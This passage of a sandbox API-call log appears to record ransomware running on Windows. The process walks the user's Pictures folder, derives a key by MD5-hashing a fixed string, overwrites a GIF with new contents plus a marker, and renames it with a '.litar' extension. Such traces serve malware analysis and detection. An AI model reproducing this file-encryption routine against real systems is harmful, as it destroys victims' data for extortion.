(HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0125.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.523] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.523] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.523] PathFindFileNameW (pszPath="") returned="" [0125.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zTvNij62y31ygD", cAlternateFileName="ZTVNIJ~1")) returned 0xffffffff [0125.523] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.523] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0125.523] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.523] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.523] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.523] PathFindFileNameW (pszPath="") returned="" [0125.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.523] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="71f4 4SP91MVI3", cAlternateFileName="71F44S~1")) returned 1 [0125.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.524] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0125.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa459c140, ftCreationTime.dwHighDateTime=0x1d4cccb, ftLastAccessTime.dwLowDateTime=0x4b2d0830, ftLastAccessTime.dwHighDateTime=0x1d4d51c, ftLastWriteTime.dwLowDateTime=0x4b2d0830, ftLastWriteTime.dwHighDateTime=0x1d4d51c, nFileSizeHigh=0x0, nFileSizeLow=0x128c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dQ_0l6.gif", cAlternateFileName="")) returned 1 [0125.524] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dQ_0l6.gif") returned=".gif" [0125.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dQ_0l6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dq_0l6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.525] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=75972) returned 1 [0125.525] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.526] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1289e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.527] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.528] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x128c4, lpOverlapped=0x0) returned 1 [0125.529] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.529] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.529] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.529] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0410) returned 1 [0125.530] CryptCreateHash (in: hProv=0x6a0410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.530] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.530] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.530] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.530] GetLastError () returned 0x0 [0125.530] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.530] CryptReleaseContext (hProv=0x6a0410, dwFlags=0x0) returned 1 [0125.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x128c0) returned 0x30fa0b0 [0125.530] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.530] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x128bf, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x128bf, lpOverlapped=0x0) returned 1 [0125.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.531] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x128c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.531] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.531] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.531] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.531] CloseHandle (hObject=0x624) returned 1 [0125.532] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.532] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.532] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dQ_0l6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dq_0l6.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dQ_0l6.gif.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dq_0l6.gif.litar")) returned 1 [0125.533] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.533] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nEqZA", cAlternateFileName="")) returned 1 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0125.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.534] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSKgyoas7znhFe", cAlternateFileName="OSKGYO~1")) returned 1 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x310) returned 0x3055af0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30751b0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084288 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084210 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30750e0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084648 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30846c0 [0125.534] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084738 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30847b0 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084828 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075148 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30848a0 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084918 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084990 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084a08 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084a80 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30755c0 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fb8 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084120 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844e0 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30845d0 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30950c0 | out: hHeap=0x5c0000) returned 1 [0125.535] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.535] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.536] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 1 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.536] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0 [0125.536] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.536] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.536] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.536] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.537] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 